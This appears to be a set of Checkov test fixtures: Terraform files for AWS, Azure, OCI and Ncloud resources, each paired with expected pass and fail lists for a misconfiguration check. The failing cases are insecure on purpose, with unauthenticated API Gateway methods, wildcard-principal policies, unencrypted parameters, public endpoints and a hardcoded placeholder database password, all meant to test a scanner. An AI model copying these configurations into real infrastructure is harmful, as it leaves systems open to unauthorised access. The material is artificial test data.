tests/terraform/graph/checks/resources/APIGatewayEndpointsUsesCertificateForAuthentication/expected.yaml ================================================ pass: - "aws_apigatewayv2_stage.pass_v2" - "aws_api_gateway_stage.pass_v1" fail: - "aws_apigatewayv2_stage.fail_v2" - "aws_api_gateway_stage.fail_v1" ================================================ FILE: tests/terraform/graph/checks/resources/APIGatewayEndpointsUsesCertificateForAuthentication/main.tf ================================================ resource "aws_apigatewayv2_stage" "fail_v2" { api_id = aws_apigatewayv2_api.fail_api_1.id name = "example-stage" } resource "aws_apigatewayv2_api" "fail_api_1" { name = "example-websocket-api" protocol_type = "WEBSOCKET" route_selection_expression = "$request.body.action" } resource "aws_api_gateway_stage" "fail_v1" { deployment_id = aws_api_gateway_deployment.example.id rest_api_id = aws_api_gateway_rest_api.example.id stage_name = "example" } resource "aws_apigatewayv2_stage" "pass_v2" { api_id = aws_apigatewayv2_api.pass_api_1.id name = "example-stage" client_certificate_id = "certificateId" } resource "aws_apigatewayv2_api" "pass_api_1" { name = "example-websocket-api" protocol_type = "WEBSOCKET" route_selection_expression = "$request.body.action" } resource "aws_api_gateway_stage" "pass_v1" { deployment_id = aws_api_gateway_deployment.example.id rest_api_id = aws_api_gateway_rest_api.example.id stage_name = "example" client_certificate_id = "certificateId" } ================================================ FILE: tests/terraform/graph/checks/resources/APIGatewayMethodWOAuth/expected.yaml ================================================ pass: - "aws_api_gateway_method.pass_auth" - "aws_api_gateway_method.pass_passapikey" - "aws_api_gateway_method.pass_httpmethod" - "aws_api_gateway_method.pass_private" - "aws_api_gateway_method.pass_deny" - "aws_api_gateway_method.pass_deny2" fail: - "aws_api_gateway_method.fail1" - "aws_api_gateway_method.fail2" - "aws_api_gateway_method.fail3" - "aws_api_gateway_method.fail4" - "aws_api_gateway_method.fail5" ================================================ FILE: tests/terraform/graph/checks/resources/APIGatewayMethodWOAuth/main.tf ================================================ # Pass: authorizationType contains AWS_IAM (Required field) resource "aws_api_gateway_method" "pass_auth" { rest_api_id = aws_api_gateway_rest_api.pass_auth.id resource_id = aws_api_gateway_resource.example.id http_method = "OPTIONS" authorization = "AWS_IAM" api_key_required = false } resource "aws_api_gateway_rest_api" "pass_auth" { name = "example" policy = jsonencode({ Statement = [ { Effect = "Allow" Action = "execute-api:Invoke" Principal = "*" } ] }) } # Pass: apiKeyRequired set to true resource "aws_api_gateway_method" "pass_passapikey" { rest_api_id = aws_api_gateway_rest_api.pass_passapikey.id resource_id = aws_api_gateway_resource.example.id http_method = "OPTIONS" authorization = "NONE" api_key_required = true } resource "aws_api_gateway_rest_api" "pass_passapikey" { name = "example" policy = jsonencode({ Statement = [ { Effect = "Allow" Action = "execute-api:Invoke" Principal = "*" } ] }) } # Pass: httpMethod set to POST resource "aws_api_gateway_method" "pass_httpmethod" { rest_api_id = aws_api_gateway_rest_api.pass_httpmethod.id resource_id = aws_api_gateway_resource.example.id http_method = "POST" authorization = "NONE" api_key_required = false } resource "aws_api_gateway_rest_api" "pass_passapikey" { name = "example" policy = jsonencode({ Statement = [ { Effect = "Allow" Action = "execute-api:Invoke" Principal = "*" } ] }) } # Pass: Bad config, but no connected aws_api_gateway_rest_api resource "aws_api_gateway_method" "skipped_noconnect1" { rest_api_id = aws_api_gateway_rest_api.nonexistent.id resource_id = aws_api_gateway_resource.example.id http_method = "OPTIONS" authorization = "NONE" api_key_required = false } # Fail: Bad aws_api_gateway_method config, bad policy in aws_api_gateway_rest_api_policy resource "aws_api_gateway_method" "fail1" { rest_api_id = aws_api_gateway_rest_api.fail1.id resource_id = aws_api_gateway_resource.example.id http_method = "OPTIONS" authorization = "NONE" api_key_required = false } resource "aws_api_gateway_rest_api" "fail1" { name = "example-rest-api" } resource "aws_api_gateway_rest_api_policy" "fail1" { rest_api_id = aws_api_gateway_rest_api.fail1.id policy = jsonencode({ Statement = [ { Effect = "Allow" Action = "execute-api:Invoke" Principal = "*" } ] }) } # Fail: Bad aws_api_gateway_method config, bad policy in aws_api_gateway_rest_api_policy resource "aws_api_gateway_method" "fail2" { rest_api_id = aws_api_gateway_rest_api.fail2.id resource_id = aws_api_gateway_resource.example.id http_method = "OPTIONS" authorization = "NONE" api_key_required = false } resource "aws_api_gateway_rest_api" "fail2" { name = "example-rest-api" policy = jsonencode({ Statement = [ { Effect = "Allow" Action = "execute-api:Invoke" Principal = "*" } ] }) } # Fail: Bad aws_api_gateway_method config - missing api_key_required, bad policy in aws_api_gateway_rest_api_policy resource "aws_api_gateway_method" "fail3" { rest_api_id = aws_api_gateway_rest_api.fail3.id resource_id = aws_api_gateway_resource.example.id http_method = "OPTIONS" authorization = "NONE" } resource "aws_api_gateway_rest_api" "fail3" { name = "example-rest-api" policy = jsonencode({ Statement = [ { Effect = "Allow" Action = "execute-api:Invoke" Principal = "*" } ] }) } # Pass: Bad aws_api_gateway_method config - missing api_key_required, bad policy in aws_api_gateway_rest_api_policy, but PRIVATE resource "aws_api_gateway_method" "pass_private" { rest_api_id = aws_api_gateway_rest_api.pass_private.id resource_id = aws_api_gateway_resource.example.id http_method = "OPTIONS" authorization = "NONE" } resource "aws_api_gateway_rest_api" "pass_private" { name = "example-rest-api" policy = jsonencode({ Statement = [ { Effect = "Allow" Action = "execute-api:Invoke" Principal = "*" } ] }) endpoint_configuration { types = ["PRIVATE"] } } # Fail: Bad aws_api_gateway_method config - missing api_key_required, bad policy in aws_api_gateway_rest_api_policy, but Private and Regional resource "aws_api_gateway_method" "fail4" { rest_api_id = aws_api_gateway_rest_api.fail4.id resource_id = aws_api_gateway_resource.example.id http_method = "OPTIONS" authorization = "NONE" } resource "aws_api_gateway_rest_api" "fail4" { name = "example-rest-api" policy = jsonencode({ Statement = [ { Effect = "Allow" Action = "execute-api:Invoke" Principal = "*" } ] }) endpoint_configuration { types = ["REGIONAL","PRIVATE"] } } # Pass: Deny block resource "aws_api_gateway_method" "pass_deny" { rest_api_id = aws_api_gateway_rest_api.pass_deny.id resource_id = aws_api_gateway_resource.example.id http_method = "OPTIONS" authorization = "NONE" } resource "aws_api_gateway_rest_api" "pass_deny" { name = "example-rest-api" policy = jsonencode({ Statement = [ { Sid = "AllowAllForEveryPrincipal" Effect = "Allow" Action = "*" Resource = "*" Principal = "*" }, { Sid = "AllowExecuteApiInvokeWithCondition" Effect = "Deny" Action = "execute-api:Invoke" Resource = "*" Principal = "*" } ] }) } # Fail: Separate data block for policy resource "aws_api_gateway_method" "fail5" { rest_api_id = aws_api_gateway_rest_api.fail5.id resource_id = aws_api_gateway_resource.example.id http_method = "OPTIONS" authorization = "NONE" api_key_required = false } resource "aws_api_gateway_rest_api" "fail5" { name = "example-rest-api" } data "aws_iam_policy_document" "fail5" { statement { effect = "Allow" principals { type = "AWS" identifiers = ["*"] } actions = ["execute-api:Invoke"] resources = [aws_api_gateway_rest_api.fail5.execution_arn] } } resource "aws_api_gateway_rest_api_policy" "fail5" { rest_api_id = aws_api_gateway_rest_api.fail5.id policy = data.aws_iam_policy_document.fail5.json } # Pass: Separate data block for policy, deny resource "aws_api_gateway_method" "pass_deny2" { rest_api_id = aws_api_gateway_rest_api.pass_deny2.id resource_id = aws_api_gateway_resource.example.id http_method = "OPTIONS" authorization = "NONE" api_key_required = false } resource "aws_api_gateway_rest_api" "pass_deny2" { name = "example-rest-api" } data "aws_iam_policy_document" "pass_deny2" { statement { effect = "Allow" principals { type = "AWS" identifiers = ["*"] } actions = ["execute-api:*"] resources = ["*"] } statement { effect = "Deny" principals { type = "AWS" identifiers = ["*"] } actions = ["execute-api:Invoke"] resources = ["*"] } } resource "aws_api_gateway_rest_api_policy" "pass_deny2" { rest_api_id = aws_api_gateway_rest_api.pass_deny2.id policy = data.aws_iam_policy_document.pass_deny2.json } ================================================ FILE: tests/terraform/graph/checks/resources/APIGatewayRequestParameterValidationEnabled/expected.yaml ================================================ pass: - "aws_api_gateway_method.pass" fail: - "aws_api_gateway_method.fail" ================================================ FILE: tests/terraform/graph/checks/resources/APIGatewayRequestParameterValidationEnabled/main.tf ================================================ resource "aws_api_gateway_method" "pass" { rest_api_id = aws_api_gateway_rest_api.MyDemoAPI.id resource_id = aws_api_gateway_resource.MyDemoResource.id http_method = "GET" authorization = "NONE" request_validator_id = "ebd7nsd8b99" } resource "aws_api_gateway_method" "fail" { rest_api_id = aws_api_gateway_rest_api.MyDemoAPI.id resource_id = aws_api_gateway_resource.MyDemoResource.id http_method = "GET" authorization = "NONE" } ================================================ FILE: tests/terraform/graph/checks/resources/APIGatewayWebACLConfiguredWIthLog4jVulnerability/expected.yaml ================================================ pass: - "aws_api_gateway_stage.pass_1" - "aws_apigatewayv2_api.pass_2" fail: - "aws_api_gateway_stage.fail_1" - "aws_api_gateway_stage.fail_2" ================================================ FILE: tests/terraform/graph/checks/resources/APIGatewayWebACLConfiguredWIthLog4jVulnerability/main.tf ================================================ # WAFv2 Web ACL resource "aws_wafv2_web_acl" "pass_1" { name = "example-waf-acl" description = "Example WAF Web ACL" scope = "REGIONAL" default_action { allow {} } rule { name = "example-rule" priority = 1 override_action { none {} } statement { managed_rule_group_statement { name = "AWSManagedRulesAnonymousIpList" vendor_name = "AWS" } } visibility_config { cloudwatch_metrics_enabled = true metric_name = "example-rule-metric" sampled_requests_enabled = true } } rule { name = "example-rule2" priority = 1 override_action { none {} } statement { managed_rule_group_statement { name = "AWSManagedRulesKnownBadInputsRuleSet" vendor_name = "AWS" } } visibility_config { cloudwatch_metrics_enabled = true metric_name = "example-rule-metric" sampled_requests_enabled = true } } visibility_config { cloudwatch_metrics_enabled = true metric_name = "example-web-acl-metric" sampled_requests_enabled = true } } # API Gateway Stage resource "aws_api_gateway_stage" "pass_1" { rest_api_id = aws_api_gateway_rest_api.pass_1.id stage_name = "example-stage" deployment_id = aws_api_gateway_deployment.pass_1.id } # WAF to API Gateway Stage Association resource "aws_wafv2_web_acl_association" "pass_1" { resource_arn = aws_api_gateway_stage.pass_1.arn web_acl_arn = aws_wafv2_web_acl.pass_1.arn } # Pass2 resource "aws_wafv2_web_acl" "pass_2" { name = "example-waf-acl" description = "Example WAF Web ACL" scope = "REGIONAL" default_action { allow {} } rule { name = "example-rule" priority = 1 override_action { none {} } statement { managed_rule_group_statement { name = "AWSManagedRulesAnonymousIpList" vendor_name = "AWS" } } visibility_config { cloudwatch_metrics_enabled = true metric_name = "example-rule-metric" sampled_requests_enabled = true } } rule { name = "example-rule2" priority = 1 override_action { none {} } statement { managed_rule_group_statement { name = "AWSManagedRulesKnownBadInputsRuleSet" vendor_name = "AWS" } } visibility_config { cloudwatch_metrics_enabled = true metric_name = "example-rule-metric" sampled_requests_enabled = true } } visibility_config { cloudwatch_metrics_enabled = true metric_name = "example-web-acl-metric" sampled_requests_enabled = true } } resource "aws_apigatewayv2_api" "pass_2" { name = "example-http-api" protocol_type = "HTTP" } resource "aws_wafv2_web_acl_association" "pass_2" { resource_arn = aws_apigatewayv2_api.pass_2.arn web_acl_arn = aws_wafv2_web_acl.pass_2.arn } ################## # WAFv2 Web ACL resource "aws_wafv2_web_acl" "fail_2" { name = "example-waf-acl" description = "Example WAF Web ACL" scope = "REGIONAL" default_action { allow {} } rule { name = "example-rule" priority = 1 override_action { none {} } statement { managed_rule_group_statement { name = "AWSManagedRulesAnonymousIpList" vendor_name = "AWS" } } visibility_config { cloudwatch_metrics_enabled = true metric_name = "example-rule-metric" sampled_requests_enabled = true } } visibility_config { cloudwatch_metrics_enabled = true metric_name = "example-web-acl-metric" sampled_requests_enabled = true } } # API Gateway Stage resource "aws_api_gateway_stage" "fail_2" { rest_api_id = aws_api_gateway_rest_api.fail_2.id stage_name = "example-stage" deployment_id = aws_api_gateway_deployment.fail_2.id } # WAF to API Gateway Stage Association resource "aws_wafv2_web_acl_association" "fail_2" { resource_arn = aws_api_gateway_stage.fail_2.arn web_acl_arn = aws_wafv2_web_acl.fail_2.arn } ################## # WAFv2 Web ACL resource "aws_wafv2_web_acl" "fail_1" { name = "managed-rule-example" description = "Example of WAFv2 ACL with multiple managed rule groups" scope = "REGIONAL" default_action { allow {} } rule { name = "common-rule-set" priority = 1 override_action { none {} } statement { managed_rule_group_statement { name = "AWSManagedRulesCommonRuleSet" vendor_name = "AWS" } } visibility_config { cloudwatch_metrics_enabled = true metric_name = "CommonRuleSetMetric" sampled_requests_enabled = true } } rule { name = "anonymous-ip-list" priority = 2 override_action { none {} } statement { managed_rule_group_statement { name = "AWSManagedRulesAnonymousIpList" vendor_name = "AWS" } } visibility_config { cloudwatch_metrics_enabled = true metric_name = "AnonymousIPListMetric" sampled_requests_enabled = true } } visibility_config { cloudwatch_metrics_enabled = true metric_name = "WAFWebACLMetric" sampled_requests_enabled = true } } # API Gateway Stage resource "aws_api_gateway_stage" "fail_1" { rest_api_id = aws_api_gateway_rest_api.fail_1.id stage_name = "example-stage" deployment_id = aws_api_gateway_deployment.fail_1.id } # WAF to API Gateway Stage Association resource "aws_wafv2_web_acl_association" "fail_1" { resource_arn = aws_api_gateway_stage.fail_1.arn web_acl_arn = aws_wafv2_web_acl.fail_1.arn } ================================================ FILE: tests/terraform/graph/checks/resources/APIProtectedByWAF/expected.yaml ================================================ pass: - "aws_api_gateway_stage.regional" - "aws_api_gateway_stage.wafv2_regional" - "aws_api_gateway_stage.wafv2_edge" - "aws_api_gateway_stage.no_api" - "aws_api_gateway_stage.private" fail: - "aws_api_gateway_stage.no_assoc" ================================================ FILE: tests/terraform/graph/checks/resources/APIProtectedByWAF/main.tf ================================================ resource "aws_api_gateway_rest_api" "regional" { name = var.name policy = "" endpoint_configuration { types = ["REGIONAL"] } } resource "aws_api_gateway_rest_api" "edge" { name = var.name policy = "" endpoint_configuration { types = ["EDGE"] } } resource "aws_api_gateway_rest_api" "private" { name = var.name policy = "" endpoint_configuration { types = ["PRIVATE"] } } resource "aws_api_gateway_rest_api" "no_stage" { name = var.name policy = "" endpoint_configuration { types = ["REGIONAL"] } } resource "aws_api_gateway_rest_api" "no_assoc" { name = var.name policy = "" endpoint_configuration { types = ["REGIONAL"] } } resource "aws_api_gateway_stage" "no_assoc" { deployment_id = aws_api_gateway_deployment.example.id rest_api_id = aws_api_gateway_rest_api.no_assoc.id stage_name = "example" } resource "aws_api_gateway_stage" "private" { deployment_id = aws_api_gateway_deployment.example.id rest_api_id = aws_api_gateway_rest_api.private.id stage_name = "example" } resource "aws_api_gateway_stage" "no_api" { deployment_id = aws_api_gateway_deployment.example.id rest_api_id = aws_api_gateway_rest_api.no_api.id stage_name = "example" } resource "aws_api_gateway_stage" "regional" { deployment_id = aws_api_gateway_deployment.example.id rest_api_id = aws_api_gateway_rest_api.regional.id stage_name = "example" } resource "aws_api_gateway_stage" "wafv2_regional" { deployment_id = aws_api_gateway_deployment.example.id rest_api_id = aws_api_gateway_rest_api.regional.id stage_name = "example" } resource "aws_wafregional_web_acl_association" "regional" { resource_arn = aws_api_gateway_stage.regional.arn web_acl_id = aws_wafregional_web_acl.foo.id } resource "aws_wafv2_web_acl_association" "regional" { resource_arn = aws_api_gateway_stage.wafv2_regional.arn web_acl_id = aws_wafv2_web_acl.foo.id } resource "aws_api_gateway_stage" "wafv2_edge" { deployment_id = aws_api_gateway_deployment.example.id rest_api_id = aws_api_gateway_rest_api.edge.id stage_name = "example" } resource "aws_wafv2_web_acl_association" "edge" { resource_arn = aws_api_gateway_stage.wafv2_edge.arn web_acl_id = aws_wafv2_web_acl.foo.id } ================================================ FILE: tests/terraform/graph/checks/resources/AWSConfigRecorderEnabled/expected.yaml ================================================ fail: - "aws_config_configuration_recorder_status.fail_1" - "aws_config_configuration_recorder_status.fail_2" pass: - "aws_config_configuration_recorder_status.pass" ================================================ FILE: tests/terraform/graph/checks/resources/AWSConfigRecorderEnabled/main.tf ================================================ resource "aws_config_configuration_recorder" "pass_recorder" { name = "example" role_arn = aws_iam_role.r.arn recording_group { include_global_resource_types = true } } resource "aws_config_configuration_recorder_status" "pass" { name = aws_config_configuration_recorder.pass_recorder.name is_enabled = true } resource "aws_config_configuration_recorder" "fail_recorder_1" { name = "example" role_arn = aws_iam_role.r.arn } resource "aws_config_configuration_recorder_status" "fail_1" { name = aws_config_configuration_recorder.fail_recorder_1.name is_enabled = false } resource "aws_config_configuration_recorder" "fail_recorder_2" { name = "example" role_arn = aws_iam_role.r.arn recording_group { all_supported = false } } resource "aws_config_configuration_recorder_status" "fail_2" { name = aws_config_configuration_recorder.fail_recorder_2.name is_enabled = true } ================================================ FILE: tests/terraform/graph/checks/resources/AWSNATGatewaysshouldbeutilized/expected.yaml ================================================ pass: - "aws_route_table.example" - "aws_route_table.aws_route_table_ok_1" - "aws_route_table.aws_route_table_ok_2" - "aws_route.aws_route_ok_1" - "aws_route.aws_route_ok_2" - "aws_route.aws_route_ok_blank_instance" fail: - "aws_route_table.aws_route_table_not_ok" - "aws_route.aws_route_not_ok" ================================================ FILE: tests/terraform/graph/checks/resources/AWSNATGatewaysshouldbeutilized/main.tf ================================================ resource "aws_vpc" "example" { cidr_block = "10.0.0.0/16" } resource "aws_internet_gateway" "example" { vpc_id = aws_vpc.example.id } resource "aws_instance" "example" { ami = "ami-005e54dee72cc1d00" instance_type = "t2.micro" associate_public_ip_address = true } resource "aws_route_table" "example" { vpc_id = aws_vpc.example.id } resource "aws_route_table" "aws_route_table_ok_1" { vpc_id = aws_vpc.example.id route { cidr_block = "0.0.0.0/0" gateway_id = aws_internet_gateway.example.id } } resource "aws_route_table" "aws_route_table_ok_2" { vpc_id = aws_vpc.example.id route { cidr_block = "10.0.0.0/24" instance_id = aws_instance.example.id } } resource "aws_route_table" "aws_route_table_not_ok" { vpc_id = aws_vpc.example.id route { cidr_block = "0.0.0.0/0" instance_id = aws_instance.example.id } } resource "aws_route" "aws_route_ok_1" { route_table_id = aws_route_table.example.id destination_cidr_block = "0.0.0.0/0" gateway_id = aws_internet_gateway.example.id } resource "aws_route" "aws_route_ok_2" { route_table_id = aws_route_table.example.id destination_cidr_block = "10.0.0.0/24" instance_id = aws_instance.example.id } /* In the tf plan files the instance id can be included but blank "address": "aws_route_table.example", "mode": "managed", "type": "aws_route_table", "name": "example", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "route": [ { "carrier_gateway_id": "", "cidr_block": "0.0.0.0/0", "destination_prefix_list_id": "", "egress_only_gateway_id": "", "gateway_id": "", ---> "instance_id": "", "ipv6_cidr_block": "", "local_gateway_id": "", "network_interface_id": "", "transit_gateway_id": "", "vpc_endpoint_id": "", "vpc_peering_connection_id": "" } ], */ resource "aws_route" "aws_route_ok_blank_instance" { route_table_id = aws_route_table.example.id destination_cidr_block = "0.0.0.0/0" gateway_id = aws_internet_gateway.example.id instance_id = "" } resource "aws_route" "aws_route_not_ok" { route_table_id = aws_route_table.example.id destination_cidr_block = "0.0.0.0/0" instance_id = aws_instance.example.id } ================================================ FILE: tests/terraform/graph/checks/resources/AWSSSMParametershouldbeEncrypted/expected.yaml ================================================ pass: - "aws_ssm_parameter.aws_ssm_parameter_ok" fail: - "aws_ssm_parameter.aws_ssm_parameter_not_ok" ================================================ FILE: tests/terraform/graph/checks/resources/AWSSSMParametershouldbeEncrypted/main.tf ================================================ resource "aws_ssm_parameter" "aws_ssm_parameter_ok" { name = "sample" type = "SecureString" value = "test" description = "policy test" tier = "Standard" allowed_pattern = ".*" data_type = "text" } resource "aws_ssm_parameter" "aws_ssm_parameter_not_ok" { name = "sample" type = "String" value = "test" description = "policy test" tier = "Standard" allowed_pattern = ".*" data_type = "text" } ================================================ FILE: tests/terraform/graph/checks/resources/AWS_private_MWAA_environment/expected.yaml ================================================ pass: - "aws_mwaa_environment.pud_mwaa_env_pass" - "aws_mwaa_environment.pud_mwaa_env_pass_1" fail: - "aws_mwaa_environment.pud_mwaa_env_fail" ================================================ FILE: tests/terraform/graph/checks/resources/AWS_private_MWAA_environment/main.tf ================================================ # PASS 1: webserver_access_mode = PRIVATE_ONLY resource "aws_iam_role" "pud_pass_role" { name = "pud_pass_role" assume_role_policy = jsonencode({ Version = "2023-09-27" Statement = [ { Action = "sts:AssumeRole" Effect = "Allow" Sid = "" Principal = { Service = "ec2.amazonaws.com" } }, ] }) tags = { tag-key = "pud_checkov_pass" } } resource "aws_s3_bucket" "pud_pass_bucket" { bucket = "pud_pass_bucket" } resource "aws_mwaa_environment" "pud_mwaa_env_pass" { dag_s3_path = "dags/" execution_role_arn = aws_iam_role.pud_pass_role.arn name = "pud_mwaa_env_pass" webserver_access_mode = "PRIVATE_ONLY" source_bucket_arn = aws_s3_bucket.pud_pass_bucket.arn } # PASS 2: webserver_access_mode Not mentioned. DEFAULT = PRIVATE_ONLY resource "aws_iam_role" "pud_pass_role_1" { name = "pud_pass_role_1" assume_role_policy = jsonencode({ Version = "2023-09-27" Statement = [ { Action = "sts:AssumeRole" Effect = "Allow" Sid = "" Principal = { Service = "ec2.amazonaws.com" } }, ] }) tags = { tag-key = "pud_checkov_pass_1" } } resource "aws_s3_bucket" "pud_pass_bucket_1" { bucket = "pud_pass_bucket_1" } resource "aws_mwaa_environment" "pud_mwaa_env_pass_1" { dag_s3_path = "dags/" execution_role_arn = aws_iam_role.pud_pass_role.arn name = "pud_mwaa_env_pass_1" source_bucket_arn = aws_s3_bucket.pud_pass_bucket.arn } # FAIL: webserver_access_mode = PUBLIC_ONLY resource "aws_iam_role" "pud_fail_role" { name = "pud_fail_role" assume_role_policy = jsonencode({ Version = "2023-09-27" Statement = [ { Action = "sts:AssumeRole" Effect = "Allow" Sid = "" Principal = { Service = "ec2.amazonaws.com" } }, ] }) tags = { tag-key = "pud_checkov_fail" } } resource "aws_s3_bucket" "pud_fail_bucket" { bucket = "pud_fail_bucket" } resource "aws_mwaa_environment" "pud_mwaa_env_fail" { dag_s3_path = "dags/" execution_role_arn = aws_iam_role.pud_fail_role.arn name = "pud_mwaa_env_fail" webserver_access_mode = "PUBLIC_ONLY" source_bucket_arn = aws_s3_bucket.pud_fail_bucket.arn } ================================================ FILE: tests/terraform/graph/checks/resources/AWSdisableS3ACL/expected.yaml ================================================ fail: - "aws_s3_bucket_ownership_controls.pud_bucket_fail" pass: - "aws_s3_bucket_ownership_controls.pud_bucket_pass" ================================================ FILE: tests/terraform/graph/checks/resources/AWSdisableS3ACL/main.tf ================================================ # FAIL resource "aws_s3_bucket" "pud_bucket_fail" { bucket = "pud_bucket_fail" } resource "aws_s3_bucket_ownership_controls" "pud_bucket_fail" { bucket = aws_s3_bucket.pud_bucket_fail.id rule { object_ownership = "BucketOwnerPreferred" } } # PASS resource "aws_s3_bucket" "pud_bucket_pass" { bucket = "pud_bucket_pass" } resource "aws_s3_bucket_ownership_controls" "pud_bucket_pass" { bucket = aws_s3_bucket.pud_bucket_pass.id rule { object_ownership = "BucketOwnerEnforced" } } ================================================ FILE: tests/terraform/graph/checks/resources/AccessControlGroupRuleDefine/expected.yaml ================================================ pass: - "ncloud_access_control_group.pass" fail: - "ncloud_access_control_group.fail" ================================================ FILE: tests/terraform/graph/checks/resources/AccessControlGroupRuleDefine/main.tf ================================================ resource "ncloud_access_control_group" "pass" { name = "my-acg" description = "description" vpc_no = ncloud_vpc.vpc.id } resource "ncloud_access_control_group_rule" "acg-rule" { access_control_group_no = ncloud_access_control_group.pass.id } resource "ncloud_access_control_group" "fail" { name = "my-acg" description = "description" vpc_no = ncloud_vpc.vpc.id } ================================================ FILE: tests/terraform/graph/checks/resources/AccessToPostgreSQLFromAzureServicesIsDisabled/expected.yaml ================================================ pass: - "azurerm_sql_server.sql_server_good" fail: - "azurerm_sql_server.sql_server_bad" ================================================ FILE: tests/terraform/graph/checks/resources/AccessToPostgreSQLFromAzureServicesIsDisabled/main.tf ================================================ resource "azurerm_resource_group" "example" { name = "example-resources" location = "West Europe" } resource "azurerm_sql_server" "sql_server_good" { name = "mysqlserver" resource_group_name = azurerm_resource_group.example.name location = "West US" version = "12.0" administrator_login = "4dm1n157r470r" administrator_login_password = "4-v3ry-53cr37-p455w0rd" # checkov:skip=CKV_SECRET_6 test secret } resource "azurerm_sql_server" "sql_server_bad" { name = "mysqlserver" resource_group_name = azurerm_resource_group.example.name location = "West US" version = "12.0" administrator_login = "4dm1n157r470r" administrator_login_password = "4-v3ry-53cr37-p455w0rd" } resource "azurerm_sql_firewall_rule" "firewall_rule_good" { name = "FirewallRule1" resource_group_name = azurerm_resource_group.example.name server_name = azurerm_sql_server.sql_server_good.name start_ip_address = "10.0.17.62" end_ip_address = "10.0.17.62" } resource "azurerm_sql_firewall_rule" "firewall_rule_bad" { name = "FirewallRule1" resource_group_name = azurerm_resource_group.example.name server_name = azurerm_sql_server.sql_server_bad.name start_ip_address = "0.0.0.0" end_ip_address = "0.0.0.0" } ================================================ FILE: tests/terraform/graph/checks/resources/AdministratorUserNotAssociatedWithAPIKey/expected.yaml ================================================ pass: - 'oci_identity_user.user2' - 'oci_identity_user.user3' - 'oci_identity_user.user4' fail: - 'oci_identity_user.user1' ================================================ FILE: tests/terraform/graph/checks/resources/AdministratorUserNotAssociatedWithAPIKey/main.tf ================================================ # Test Case TLDR: # Users in groups: # admin_group: # user1 (has api key) # user2 (no api key) # non_admin_group: # user3 (no api key) # Users not in a group: # user4 (no api key) resource "oci_identity_user" "user1" { #Required compartment_id = "var.tenancy_ocid" description = "var.user_description" name = "user1" #Optional defined_tags = {"Operations.CostCenter"= "42"} email = "var.user_email" freeform_tags = {"Department"= "Finance"} } resource "oci_identity_user" "user2" { #Required compartment_id = "var.tenancy_ocid" description = "var.user_description" name = "user2" #Optional defined_tags = {"Operations.CostCenter"= "42"} email = "var.user_email" freeform_tags = {"Department"= "Finance"} } resource "oci_identity_user" "user3" { #Required compartment_id = "var.tenancy_ocid" description = "var.user_description" name = "user3" #Optional defined_tags = {"Operations.CostCenter"= "42"} email = "var.user_email" freeform_tags = {"Department"= "Finance"} } resource "oci_identity_user" "user4" { #Required compartment_id = "var.tenancy_ocid" description = "var.user_description" name = "user3" #Optional defined_tags = {"Operations.CostCenter"= "42"} email = "var.user_email" freeform_tags = {"Department"= "Finance"} } resource "oci_identity_group" "admin_group" { #Required compartment_id = "var.tenancy_ocid" description = "var.group_description" name = "Administrators" #Optional defined_tags = {"Operations.CostCenter"= "42"} freeform_tags = {"Department"= "Finance"} } resource "oci_identity_group" "non_admin_group" { #Required compartment_id = "var.tenancy_ocid" description = "var.group_description" name = "NotAdministrators" #Optional defined_tags = {"Operations.CostCenter"= "42"} freeform_tags = {"Department"= "Finance"} } resource "oci_identity_api_key" "user1_api_key" { #Required key_value = "var.api_key_key_value" user_id = oci_identity_user.user1.id } resource "oci_identity_user_group_membership" "user1_in_admin_group" { #Required group_id = oci_identity_group.admin_group.id user_id = oci_identity_user.user1.id } resource "oci_identity_user_group_membership" "user2_in_admin_group" { #Required group_id = oci_identity_group.admin_group.id user_id = oci_identity_user.user2.id } resource "oci_identity_user_group_membership" "user3_in_non_admin_group" { #Required group_id = oci_identity_group.non_admin_group.id user_id = oci_identity_user.user3.id } ================================================ FILE: tests/terraform/graph/checks/resources/AppLoadBalancerTLS12/expected.yaml ================================================ pass: - "aws_lb_listener.http_redirect" - "aws_lb_listener.tcp" - "aws_lb_listener.udp" - "aws_lb_listener.tcp_udp" - "aws_lb_listener.tls_1_3" - "aws_lb_listener.tls_fs_1_2" - "aws_lb_listener.https_fs_1_2" - "aws_alb_listener.https_fs_1_2" - "aws_lb_listener.gateway_listener" fail: - "aws_lb_listener.http" - "aws_lb_listener.https_2016" - "aws_lb_listener.tls_fs_1_1" - "aws_alb_listener.tls_fs_1_1" - "aws_lb_listener.cognito" - "aws_lb_listener.wrong_redirect" - "aws_lb_listener.not_gateway_listener" ================================================ FILE: tests/terraform/graph/checks/resources/AppLoadBalancerTLS12/main.tf ================================================ # pass resource "aws_lb_listener" "http_redirect" { load_balancer_arn = var.aws_lb_arn protocol = "HTTP" port = "80" default_action { type = "redirect" redirect { port = "443" protocol = "HTTPS" status_code = "HTTP_301" } } } resource "aws_lb_listener" "tcp" { load_balancer_arn = var.aws_lb_arn protocol = "TCP" port = "8080" default_action { type = "forward" target_group_arn = var.aws_lb_target_group_arn } } resource "aws_lb_listener" "udp" { load_balancer_arn = var.aws_lb_arn protocol = "UDP" port = "8080" default_action { type = "forward" target_group_arn = var.aws_lb_target_group_arn } } resource "aws_lb_listener" "tcp_udp" { load_balancer_arn = var.aws_lb_arn protocol = "TCP_UDP" port = "8080" default_action { type = "forward" target_group_arn = var.aws_lb_target_group_arn } } resource "aws_lb_listener" "tls_1_3" { load_balancer_arn = var.aws_lb_arn protocol = "TLS" port = "8080" ssl_policy = "ELBSecurityPolicy-TLS13-1-2-2021-06" certificate_arn = var.certificate_arn default_action { type = "forward" target_group_arn = var.aws_lb_target_group_arn } } resource "aws_lb_listener" "tls_fs_1_2" { load_balancer_arn = var.aws_lb_arn protocol = "TLS" port = "8080" ssl_policy = "ELBSecurityPolicy-FS-1-2-Res-2019-08" certificate_arn = var.certificate_arn default_action { type = "forward" target_group_arn = var.aws_lb_target_group_arn } } resource "aws_lb_listener" "https_fs_1_2" { load_balancer_arn = var.aws_lb_arn protocol = "HTTPS" port = "443" ssl_policy = "ELBSecurityPolicy-FS-1-2-Res-2019-08" certificate_arn = var.certificate_arn default_action { type = "forward" target_group_arn = var.aws_lb_target_group_arn } } resource "aws_alb_listener" "https_fs_1_2" { load_balancer_arn = var.aws_lb_arn protocol = "HTTPS" port = "443" ssl_policy = "ELBSecurityPolicy-FS-1-2-Res-2019-08" certificate_arn = var.certificate_arn default_action { type = "forward" target_group_arn = var.aws_lb_target_group_arn } } # gateway LB resource "aws_lb" "gateway_lb" { load_balancer_type = "gateway" name = "example" } resource "aws_lb_listener" "gateway_listener" { load_balancer_arn = aws_lb.gateway_lb.id } # failure resource 